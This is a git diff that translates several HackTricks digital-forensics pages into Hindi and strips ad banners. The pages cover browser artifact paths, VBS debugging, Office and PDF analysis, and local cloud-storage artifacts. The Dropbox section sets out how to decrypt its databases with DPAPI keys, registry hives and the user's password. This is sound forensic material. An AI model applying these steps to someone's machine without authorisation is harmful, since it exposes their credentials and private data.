Type" कॉलम में विभिन्न अर्थ होते हैं, जिसमें उपयोगकर्ता द्वारा लिंक पर क्लिक करना, टाइप किए गए URLs, फॉर्म सबमिशन और पृष्ठ पुनः लोड करना शामिल है। +- **Cookies**: कुकीज़ संग्रहीत करता है। निरीक्षण के लिए, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) उपलब्ध है। +- **Cache**: कैश डेटा रखता है। निरीक्षण के लिए, Windows उपयोगकर्ता [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) का उपयोग कर सकते हैं। +- **Bookmarks**: उपयोगकर्ता बुकमार्क। +- **Web Data**: फॉर्म इतिहास शामिल है। +- **Favicons**: वेबसाइट के फ़ेविकॉन को संग्रहीत करता है। +- **Login Data**: उपयोगकर्ता नाम और पासवर्ड जैसे लॉगिन क्रेडेंशियल्स शामिल हैं। +- **Current Session**/**Current Tabs**: वर्तमान ब्राउज़िंग सत्र और खुले टैब के बारे में डेटा। +- **Last Session**/**Last Tabs**: Chrome बंद होने से पहले अंतिम सत्र के दौरान सक्रिय साइटों के बारे में जानकारी। +- **Extensions**: ब्राउज़र एक्सटेंशन और ऐड-ऑन के लिए निर्देशिकाएँ। +- **Thumbnails**: वेबसाइट के थंबनेल को संग्रहीत करता है। +- **Preferences**: एक फ़ाइल जिसमें जानकारी समृद्ध है, जिसमें प्लगइन्स, एक्सटेंशन, पॉप-अप, सूचनाएँ और अधिक के लिए सेटिंग्स शामिल हैं। +- **Browser’s built-in anti-phishing**: यह जांचने के लिए कि क्या एंटी-फिशिंग और मैलवेयर सुरक्षा सक्षम है, `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` चलाएँ। आउटपुट में `{"enabled: true,"}` देखें। ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +जैसा कि आप पिछले अनुभागों में देख सकते हैं, Chrome और Firefox दोनों **SQLite** डेटाबेस का उपयोग डेटा संग्रहीत करने के लिए करते हैं। **टूल का उपयोग करके हटाए गए प्रविष्टियों को पुनर्प्राप्त करना संभव है** [**sqlparse**](https://github.com/padfoot999/sqlparse) **या** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)। ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 अपने डेटा और मेटाडेटा को विभिन्न स्थानों में प्रबंधित करता है, संग्रहीत जानकारी और इसके संबंधित विवरणों को अलग करने में मदद करता है ताकि आसानी से पहुँच और प्रबंधन किया जा सके। ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorer के लिए मेटाडेटा `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` में संग्रहीत होता है (जहाँ VX V01, V16, या V24 हो सकता है)। इसके साथ, `V01.log` फ़ाइल में `WebcacheVX.data` के साथ संशोधन समय में असमानताएँ दिखाई दे सकती हैं, जो `esentutl /r V01 /d` का उपयोग करके मरम्मत की आवश्यकता को इंगित करती हैं। यह मेटाडेटा, जो ESE डेटाबेस में स्थित है, को photorec और [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) जैसे टूल का उपयोग करके पुनर्प्राप्त और निरीक्षण किया जा सकता है। **Containers** तालिका के भीतर, कोई यह पहचान सकता है कि प्रत्येक डेटा खंड कहाँ संग्रहीत है, जिसमें Skype जैसे अन्य Microsoft टूल के लिए कैश विवरण शामिल हैं। ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) टूल कैश निरीक्षण की अनुमति देता है, जिसमें कैश डेटा निकालने के लिए फ़ोल्डर स्थान की आवश्यकता होती है। कैश के लिए मेटाडेटा में फ़ाइल नाम, निर्देशिका, पहुँच गणना, URL मूल, और कैश निर्माण, पहुँच, संशोधन, और समाप्ति समय को इंगित करने वाले टाइमस्टैम्प शामिल हैं। ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +कुकीज़ को [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) का उपयोग करके खोजा जा सकता है, जिसमें मेटाडेटा नाम, URLs, पहुँच गणना, और विभिन्न समय-संबंधित विवरण शामिल हैं। स्थायी कुकीज़ `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` में संग्रहीत होती हैं, जबकि सत्र कुकीज़ मेमोरी में रहती हैं। ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +डाउनलोड मेटाडेटा [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) के माध्यम से सुलभ है, जिसमें विशिष्ट कंटेनर डेटा जैसे URL, फ़ाइल प्रकार, और डाउनलोड स्थान रखता है। भौतिक फ़ाइलें `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` के अंतर्गत पाई जा सकती हैं। ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +ब्राउज़िंग इतिहास की समीक्षा करने के लिए, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) का उपयोग किया जा सकता है, जिसमें निकाले गए इतिहास फ़ाइलों का स्थान और Internet Explorer के लिए कॉन्फ़िगरेशन की आवश्यकता होती है। यहाँ मेटाडेटा में संशोधन और पहुँच समय, साथ ही पहुँच गणना शामिल है। इतिहास फ़ाइलें `%userprofile%\Appdata\Local\Microsoft\Windows\History` में स्थित हैं। ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +टाइप किए गए URLs और उनके उपयोग समय को रजिस्ट्री में `NTUSER.DAT` के तहत `Software\Microsoft\InternetExplorer\TypedURLs` और `Software\Microsoft\InternetExplorer\TypedURLsTime` में संग्रहीत किया जाता है, जो उपयोगकर्ता द्वारा दर्ज किए गए अंतिम 50 URLs और उनके अंतिम इनपुट समय को ट्रैक करता है। ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge उपयोगकर्ता डेटा को `%userprofile%\Appdata\Local\Packages` में संग्रहीत करता है। विभिन्न डेटा प्रकारों के लिए पथ हैं: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safari डेटा `/Users/$User/Library/Safari` में संग्रहीत होता है। प्रमुख फ़ाइलें शामिल हैं: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: `history_visits` और `history_items` तालिकाएँ URLs और यात्रा के टाइमस्टैम्प के साथ। क्वेरी करने के लिए `sqlite3` का उपयोग करें। +- **Downloads.plist**: डाउनलोड की गई फ़ाइलों के बारे में जानकारी। +- **Bookmarks.plist**: बुकमार्क किए गए URLs को संग्रहीत करता है। +- **TopSites.plist**: सबसे अधिक देखी जाने वाली साइटें। +- **Extensions.plist**: Safari ब्राउज़र एक्सटेंशन की सूची। पुनर्प्राप्त करने के लिए `plutil` या `pluginkit` का उपयोग करें। +- **UserNotificationPermissions.plist**: डोमेन जो पुश सूचनाएँ भेजने की अनुमति देते हैं। पार्स करने के लिए `plutil` का उपयोग करें। +- **LastSession.plist**: अंतिम सत्र के टैब। पार्स करने के लिए `plutil` का उपयोग करें। +- **Browser’s built-in anti-phishing**: जांचें कि `defaults read com.apple.Safari WarnAboutFraudulentWebsites` का उपयोग करके। 1 का उत्तर संकेत करता है कि यह सुविधा सक्रिय है। ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Opera का डेटा `/Users/$USER/Library/Application Support/com.operasoftware.Opera` में स्थित है और इतिहास और डाउनलोड के लिए Chrome के प्रारूप को साझा करता है। -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: यह सत्यापित करें कि क्या `fraud_protection_enabled` Preferences फ़ाइल में `true` पर सेट है, `grep` का उपयोग करके। -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +ये पथ और कमांड विभिन्न वेब ब्राउज़रों द्वारा संग्रहीत ब्राउज़िंग डेटा तक पहुँचने और समझने के लिए महत्वपूर्ण हैं। ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..4fdebb37f 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +कुछ चीजें जो एक दुर्भावनापूर्ण VBS फ़ाइल को डिबग/डिओबफस्केट करने के लिए उपयोगी हो सकती हैं: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## टिप्पणियाँ ```bash ' this is a comment ``` - -## Test - +## परीक्षण ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## एक फ़ाइल में डेटा लिखें ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..b57b9f05e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,96 @@ -# Local Cloud Storage +# स्थानीय क्लाउड स्टोरेज {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windows में, आप OneDrive फ़ोल्डर को `\Users\\AppData\Local\Microsoft\OneDrive` में पा सकते हैं। और `logs\Personal` के अंदर, आप फ़ाइल `SyncDiagnostics.log` पा सकते हैं जिसमें समन्वयित फ़ाइलों के बारे में कुछ दिलचस्प डेटा होता है: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- बाइट्स में आकार +- निर्माण तिथि +- संशोधन तिथि +- क्लाउड में फ़ाइलों की संख्या +- फ़ोल्डर में फ़ाइलों की संख्या +- **CID**: OneDrive उपयोगकर्ता का अद्वितीय आईडी +- रिपोर्ट निर्माण समय +- OS का HD का आकार -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +एक बार जब आप CID पा लेते हैं, तो **इस ID वाले फ़ाइलों की खोज करना** अनुशंसित है। आप _**\.ini**_ और _**\.dat**_ नाम की फ़ाइलें पा सकते हैं जो OneDrive के साथ समन्वयित फ़ाइलों के नाम जैसी दिलचस्प जानकारी रख सकती हैं। ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windows में, आप मुख्य Google Drive फ़ोल्डर को `\Users\\AppData\Local\Google\Drive\user_default` में पा सकते हैं।\ +इस फ़ोल्डर में एक फ़ाइल है जिसका नाम Sync_log.log है जिसमें खाते का ईमेल पता, फ़ाइल नाम, टाइमस्टैम्प, फ़ाइलों के MD5 हैश आदि जैसी जानकारी होती है। यहां तक कि हटाई गई फ़ाइलें भी उस लॉग फ़ाइल में अपने संबंधित MD5 के साथ दिखाई देती हैं। -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +फ़ाइल **`Cloud_graph\Cloud_graph.db`** एक sqlite डेटाबेस है जिसमें तालिका **`cloud_graph_entry`** होती है। इस तालिका में आप **समन्वयित** **फ़ाइलों** का **नाम**, संशोधित समय, आकार, और फ़ाइलों का MD5 चेकसम पा सकते हैं। -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +डेटाबेस **`Sync_config.db`** की तालिका डेटा में खाते का ईमेल पता, साझा फ़ोल्डरों का पथ और Google Drive का संस्करण होता है। ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox फ़ाइलों को प्रबंधित करने के लिए **SQLite डेटाबेस** का उपयोग करता है। इसमें\ +आप डेटाबेस को निम्नलिखित फ़ोल्डरों में पा सकते हैं: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +और मुख्य डेटाबेस हैं: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +".dbx" एक्सटेंशन का अर्थ है कि **डेटाबेस** **एन्क्रिप्टेड** हैं। Dropbox **DPAPI** का उपयोग करता है ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropbox द्वारा उपयोग की जाने वाली एन्क्रिप्शन को बेहतर ढंग से समझने के लिए आप पढ़ सकते हैं [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)। -However, the main information is: +हालांकि, मुख्य जानकारी है: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +उस जानकारी के अलावा, डेटाबेस को डिक्रिप्ट करने के लिए आपको अभी भी आवश्यकता है: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **एन्क्रिप्टेड DPAPI कुंजी**: आप इसे रजिस्ट्री में `NTUSER.DAT\Software\Dropbox\ks\client` में पा सकते हैं (इस डेटा को बाइनरी के रूप में निर्यात करें) +- **`SYSTEM`** और **`SECURITY`** हाइव +- **DPAPI मास्टर कुंजी**: जो `\Users\\AppData\Roaming\Microsoft\Protect` में पाई जा सकती हैं +- Windows उपयोगकर्ता का **उपयोगकर्ता नाम** और **पासवर्ड** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +फिर आप टूल [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)** का उपयोग कर सकते हैं:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +यदि सब कुछ अपेक्षित रूप से चलता है, तो टूल आपको **प्राथमिक कुंजी** बताएगा जिसका आपको **मूल कुंजी को पुनर्प्राप्त करने के लिए उपयोग करना है**। मूल कुंजी को पुनर्प्राप्त करने के लिए, बस इस [cyber_chef रेसिपी]() का उपयोग करें, जिसमें प्राथमिक कुंजी को रेसिपी के अंदर "पासफ़्रेज़" के रूप में डालें। +परिणामी हेक्स अंतिम कुंजी है जिसका उपयोग डेटाबेस को एन्क्रिप्ट करने के लिए किया गया है जिसे डिक्रिप्ट किया जा सकता है: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** डेटाबेस में शामिल हैं: -The **`config.dbx`** database contains: +- **Email**: उपयोगकर्ता का ईमेल +- **usernamedisplayname**: उपयोगकर्ता का नाम +- **dropbox_path**: वह पथ जहाँ ड्रॉपबॉक्स फ़ोल्डर स्थित है +- **Host_id: Hash** जो क्लाउड में प्रमाणीकरण के लिए उपयोग किया जाता है। इसे केवल वेब से रद्द किया जा सकता है। +- **Root_ns**: उपयोगकर्ता पहचानकर्ता -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** डेटाबेस में ड्रॉपबॉक्स के साथ समन्वयित सभी फ़ाइलों और फ़ोल्डरों के बारे में जानकारी होती है। तालिका `File_journal` में अधिक उपयोगी जानकारी होती है: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: वह पथ जहाँ फ़ाइल सर्वर के अंदर स्थित है (यह पथ क्लाइंट के `host_id` द्वारा पूर्ववर्ती होता है)। +- **local_sjid**: फ़ाइल का संस्करण +- **local_mtime**: संशोधन तिथि +- **local_ctime**: निर्माण तिथि -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +इस डेटाबेस के अंदर अन्य तालिकाएँ अधिक दिलचस्प जानकारी प्रदान करती हैं: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: ड्रॉपबॉक्स की सभी फ़ाइलों और फ़ोल्डरों का हैश +- **block_ref**: तालिका `block_cache` के हैश आईडी को तालिका `file_journal` में फ़ाइल आईडी से संबंधित करता है +- **mount_table**: ड्रॉपबॉक्स के साझा फ़ोल्डर +- **deleted_fields**: ड्रॉपबॉक्स द्वारा हटाई गई फ़ाइलें - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..81b5dd82d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,35 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+अधिक जानकारी के लिए देखें [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). यह केवल एक संक्षेप है: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft ने कई ऑफिस दस्तावेज़ प्रारूप बनाए हैं, जिनमें दो मुख्य प्रकार **OLE प्रारूप** (जैसे RTF, DOC, XLS, PPT) और **Office Open XML (OOXML) प्रारूप** (जैसे DOCX, XLSX, PPTX) हैं। ये प्रारूप मैक्रोज़ को शामिल कर सकते हैं, जिससे ये फ़िशिंग और मैलवेयर के लक्ष्यों बन जाते हैं। OOXML फ़ाइलें ज़िप कंटेनरों के रूप में संरचित होती हैं, जो अनज़िपिंग के माध्यम से निरीक्षण की अनुमति देती हैं, फ़ाइल और फ़ोल्डर पदानुक्रम और XML फ़ाइल सामग्री को प्रकट करती हैं। -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} +OOXML फ़ाइल संरचनाओं का अन्वेषण करने के लिए, एक दस्तावेज़ को अनज़िप करने के लिए कमांड और आउटपुट संरचना दी गई है। इन फ़ाइलों में डेटा छिपाने की तकनीकों का दस्तावेजीकरण किया गया है, जो CTF चुनौतियों के भीतर डेटा छिपाने में निरंतर नवाचार को इंगित करता है। -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +विश्लेषण के लिए, **oletools** और **OfficeDissector** OLE और OOXML दस्तावेज़ों की जांच के लिए व्यापक टूलसेट प्रदान करते हैं। ये उपकरण एम्बेडेड मैक्रोज़ की पहचान और विश्लेषण में मदद करते हैं, जो अक्सर मैलवेयर वितरण के लिए वेक्टर के रूप में कार्य करते हैं, आमतौर पर अतिरिक्त दुर्भावनापूर्ण पेलोड को डाउनलोड और निष्पादित करते हैं। VBA मैक्रोज़ का विश्लेषण Microsoft Office के बिना Libre Office का उपयोग करके किया जा सकता है, जो ब्रेकपॉइंट और वॉच वेरिएबल के साथ डिबगिंग की अनुमति देता है। +**oletools** की स्थापना और उपयोग सरल है, दस्तावेज़ों से मैक्रोज़ निकालने और pip के माध्यम से स्थापित करने के लिए कमांड प्रदान किए गए हैं। मैक्रोज़ का स्वचालित निष्पादन `AutoOpen`, `AutoExec`, या `Document_Open` जैसी कार्यों द्वारा ट्रिगर किया जाता है। ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 769407b3a..676491904 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDF फ़ाइल विश्लेषण {{#include ../../../banners/hacktricks-training.md}} -
+**अधिक जानकारी के लिए देखें:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF प्रारूप अपनी जटिलता और डेटा को छिपाने की क्षमता के लिए जाना जाता है, जो इसे CTF फॉरेंसिक्स चुनौतियों के लिए एक केंद्र बिंदु बनाता है। यह प्लेन-टेक्स्ट तत्वों को बाइनरी ऑब्जेक्ट्स के साथ मिलाता है, जो संकुचित या एन्क्रिप्टेड हो सकते हैं, और इसमें JavaScript या Flash जैसी भाषाओं में स्क्रिप्ट शामिल हो सकती हैं। PDF संरचना को समझने के लिए, कोई Didier Stevens के [परिचयात्मक सामग्री](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) का संदर्भ ले सकता है, या टेक्स्ट संपादक या Origami जैसे PDF-विशिष्ट संपादक का उपयोग कर सकता है। -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} +PDFs के गहन अन्वेषण या हेरफेर के लिए, [qpdf](https://github.com/qpdf/qpdf) और [Origami](https://github.com/mobmewireless/origami-pdf) जैसे उपकरण उपलब्ध हैं। PDFs के भीतर छिपा डेटा 